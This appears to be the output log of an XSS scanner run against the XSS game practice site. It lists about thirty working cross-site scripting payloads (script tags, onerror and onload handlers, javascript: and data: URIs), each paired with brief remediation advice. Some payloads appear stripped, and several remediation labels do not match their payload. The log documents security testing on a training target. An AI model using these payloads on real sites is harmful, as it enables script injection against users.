2025-03-01 01:30:01 - INFO - Scanning https://xss-game.appspot.com/level1/frame for XSS vulnerabilities.

2025-03-01 01:30:32 - WARNING - [XSS] Vulnerability detected at https://xss-game.appspot.com/level1/frame?query=<script>alert('XSS')</script>

2025-03-01 01:30:32 - INFO - Solution for HTML Injection: Use HTML escaping for user inputs.

2025-03-01 01:30:32 - WARNING - [XSS] Vulnerability detected at https://xss-game.appspot.com/level1/frame?query=<img src="javascript:alert('XSS')">

2025-03-01 01:30:32 - INFO - Solution for JavaScript URI Injection: Avoid using javascript: in href attributes.

2025-03-01 01:30:32 - WARNING - [XSS] Vulnerability detected at https://xss-game.appspot.com/level1/frame?query=

2025-03-01 01:30:32 - INFO - Solution for Inline Event Handler: Avoid using inline event handlers like onmouseover.

2025-03-01 01:30:32 - WARNING - [XSS] Vulnerability detected at https://xss-game.appspot.com/level1/frame?query=<iframe src="javascript:alert('XSS')"></iframe>

2025-03-01 01:30:32 - INFO - Solution for JavaScript URI Injection: Avoid using javascript: in href attributes.

2025-03-01 01:30:33 - WARNING - [XSS] Vulnerability detected at https://xss-game.appspot.com/level1/frame?query=<svg/onload=alert('XSS')>

2025-03-01 01:30:33 - INFO - Solution for SVG Injection: Sanitize SVG content and avoid onload attributes.

2025-03-01 01:30:33 - WARNING - [XSS] Vulnerability detected at https://xss-game.appspot.com/level1/frame?query=Click me

2025-03-01 01:30:33 - INFO - Solution for JavaScript URI Injection: Avoid using javascript: in href attributes.

2025-03-01 01:30:33 - WARNING - [XSS] Vulnerability detected at https://xss-game.appspot.com/level1/frame?query=<body onload="alert('XSS')">

2025-03-01 01:30:33 - INFO - Solution for Inline Event Handler: Avoid using inline event handlers like onmouseover.

2025-03-01 01:30:33 - WARNING - [XSS] Vulnerability detected at https://xss-game.appspot.com/level1/frame?query=<img src="x" onerror="alert('XSS')">

2025-03-01 01:30:33 - INFO - Solution for Inline Event Handler: Avoid using inline event handlers like onmouseover.

2025-03-01 01:30:33 - WARNING - [XSS] Vulnerability detected at https://xss-game.appspot.com/level1/frame?query=test

2025-03-01 01:30:33 - INFO - Solution for JavaScript URI Injection: Avoid using javascript: in href attributes.

2025-03-01 01:30:34 - WARNING - [XSS] Vulnerability detected at https://xss-game.appspot.com/level1/frame?query=<form action="javascript:alert('XSS')">

2025-03-01 01:30:34 - INFO - Solution for JavaScript URI Injection: Avoid using javascript: in href attributes.

2025-03-01 01:30:34 - WARNING - [XSS] Vulnerability detected at https://xss-game.appspot.com/level1/frame?query=<input type="text" value="XSS" onfocus="alert('XSS')">

2025-03-01 01:30:34 - INFO - Solution for Inline Event Handler: Avoid using inline event handlers like onmouseover.

2025-03-01 01:30:34 - WARNING - [XSS] Vulnerability detected at https://xss-game.appspot.com/level1/frame?query=<embed src="data:text/html,<script>alert('XSS')</script>">

2025-03-01 01:30:34 - INFO - Solution for Embedded Script Injection: Use CSP to block unsafe embedded content.

2025-03-01 01:30:34 - WARNING - [XSS] Vulnerability detected at https://xss-game.appspot.com/level1/frame?query=<video onerror="alert('XSS')">

2025-03-01 01:30:34 - INFO - Solution for Inline Event Handler: Avoid using inline event handlers

like onmouseover.

2025-03-01 01:30:35 - WARNING - [XSS] Vulnerability detected at https://xss-game.appspot.com/level1/frame?query=<iframe src="javascript:alert('XSS')">

2025-03-01 01:30:35 - INFO - Solution for JavaScript URI Injection: Avoid using javascript: in href attributes.

2025-03-01 01:30:35 - WARNING - [XSS] Vulnerability detected at https://xss-game.appspot.com/level1/frame?query=<base href="javascript:alert('XSS')">

2025-03-01 01:30:35 - INFO - Solution for JavaScript URI Injection: Avoid using javascript: in href attributes.

2025-03-01 01:30:35 - WARNING - [XSS] Vulnerability detected at https://xss-game.appspot.com/level1/frame?query=<details open><summary>Click me</summary> text </details>

2025-03-01 01:30:35 - INFO - Solution for HTML Injection: Use HTML escaping for user inputs.

2025-03-01 01:30:35 - WARNING - [XSS] Vulnerability detected at https://xss-game.appspot.com/level1/frame?query=<script>document.location='javascript:alert(1)'</script>

2025-03-01 01:30:35 - INFO - Solution for JavaScript Execution: Avoid using document.location with JavaScript.

2025-03-01 01:30:35 - WARNING - [XSS] Vulnerability detected at https://xss-game.appspot.com/level1/frame?query=<svg><script>alert('XSS')</script></svg>

2025-03-01 01:30:35 - INFO - Solution for SVG Injection: Sanitize SVG content and avoid onload attributes.

2025-03-01 01:30:36 - WARNING - [XSS] Vulnerability detected at https://xss-game.appspot.com/level1/frame?query=<svg/onload=confirm("XSS")>

2025-03-01 01:30:36 - INFO - Solution for SVG Injection: Sanitize SVG content and avoid onload attributes.

2025-03-01 01:30:36 - WARNING - [XSS] Vulnerability detected at

https://xss-game.appspot.com/level1/frame?query=<iframe src="javascript:alert('XSS')">

2025-03-01 01:30:36 - INFO - Solution for JavaScript URI Injection: Avoid using javascript: in href attributes.

2025-03-01 01:30:36 - WARNING - [XSS] Vulnerability detected at https://xss-game.appspot.com/level1/frame?query=<object data="data:text/html,<script>alert('XSS')</script>"></object>

2025-03-01 01:30:36 - INFO - Solution for Embedded Script Injection: Use CSP to block unsafe embedded content.

2025-03-01 01:30:36 - WARNING - [XSS] Vulnerability detected at https://xss-game.appspot.com/level1/frame?query="><script>alert('XSS')</script>

2025-03-01 01:30:36 - INFO - Solution for HTML Injection: Use HTML escaping for user inputs.

2025-03-01 01:30:37 - WARNING - [XSS] Vulnerability detected at https://xss-game.appspot.com/level1/frame?query=</script><script>alert('XSS')</script>

2025-03-01 01:30:37 - INFO - Solution for HTML Injection: Use HTML escaping for user inputs.

2025-03-01 01:30:37 - WARNING - [XSS] Vulnerability detected at https://xss-game.appspot.com/level1/frame?query=<img src=x onerror=alert('XSS')>

2025-03-01 01:30:37 - INFO - Solution for Inline Event Handler: Avoid using inline event handlers like onmouseover.

2025-03-01 01:30:37 - WARNING - [XSS] Vulnerability detected at https://xss-game.appspot.com/level1/frame?query=<svg><animate onbegin=alert('XSS') attributeName=x dur=1s>

2025-03-01 01:30:37 - INFO - Solution for SVG Injection: Sanitize SVG content and avoid onload attributes.